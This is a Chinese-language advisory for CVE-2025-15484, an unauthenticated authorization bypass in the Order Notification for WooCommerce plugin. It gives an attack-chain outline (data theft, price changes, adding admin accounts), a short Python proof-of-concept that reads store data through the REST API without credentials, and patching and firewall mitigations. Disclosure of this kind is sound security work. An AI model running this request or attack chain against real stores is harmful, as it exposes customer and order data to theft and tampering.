CVE-2025-15484 CVSS 9.1 严重

CVE-2025-15484: Order Notification for WooCommerce权限绕过漏洞

披露日期: 2026-04-01

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-15484

漏洞类型

权限绕过

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Order Notification for WooCommerce

漏洞概述

Order Notification for WooCommerce WordPress插件3.6.3之前版本存在严重权限绕过漏洞。由于错误地覆盖了WooCommerce的权限检查机制，导致未经身份验证的攻击者可对商店资源进行完全的读写操作，危及产品、优惠券及客户信息安全。

技术细节

该漏洞的核心在于插件代码逻辑错误地覆盖了WooCommerce核心的权限验证机制。正常情况下，访问商店管理资源（如产品、订单、优惠券）需要经过严格的身份认证和权限校验。然而，在受影响版本中，插件为了处理订单通知，可能修改了全局权限状态或在特定API端点中取消了权限检查。这导致系统误认为所有请求（包括未认证请求）都拥有管理员权限。攻击者可利用此缺陷，通过发送特制的HTTP请求（如REST API调用），直接操作后台数据，实现数据的窃取、篡改或删除，完全控制受影响的电商站点。

攻击链分析

STEP 1

1. 信息收集

攻击者识别目标网站使用了WordPress及WooCommerce，并检测到Order Notification for WooCommerce插件版本低于3.6.3。

STEP 2

2. 构造恶意请求

攻击者无需登录，直接向WooCommerce的REST API端点（如/wp-json/wc/v3/products）发送HTTP请求。

STEP 3

3. 绕过权限检查

由于漏洞导致插件覆盖了系统的权限检查机制，系统将未认证的请求视为合法的高权限请求。

STEP 4

4. 数据窃取与篡改

攻击者成功获取敏感数据（如客户信息、订单详情），或利用相同机制写入恶意数据（如修改产品价格、添加管理员账户）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com"

# The vulnerability allows unauthenticated access to WooCommerce resources.
# This script attempts to read product data via the REST API without credentials.

# Endpoint to retrieve products (usually requires authentication)
api_endpoint = f"{target_url}/wp-json/wc/v3/products"

try:
    # Send GET request without any authentication headers
    response = requests.get(api_endpoint, timeout=10)

    if response.status_code == 200:
        print("[+] Vulnerability Exploited Successfully!")
        print("[+] Retrieved Product Data:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print("[-] The target might be patched or not vulnerable.")

except Exception as e:
    print(f"[!] An error occurred: {e}")

影响范围

Order Notification for WooCommerce < 3.6.3

防御指南

临时缓解措施

建议管理员立即检查并更新Order Notification for WooCommerce插件至最新安全版本。如果暂时无法更新，应禁用该插件或通过Web应用防火墙（WAF）限制对WordPress REST API的未授权访问，特别是针对产品、订单和客户管理接口的访问，以防止潜在的数据泄露或篡改。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表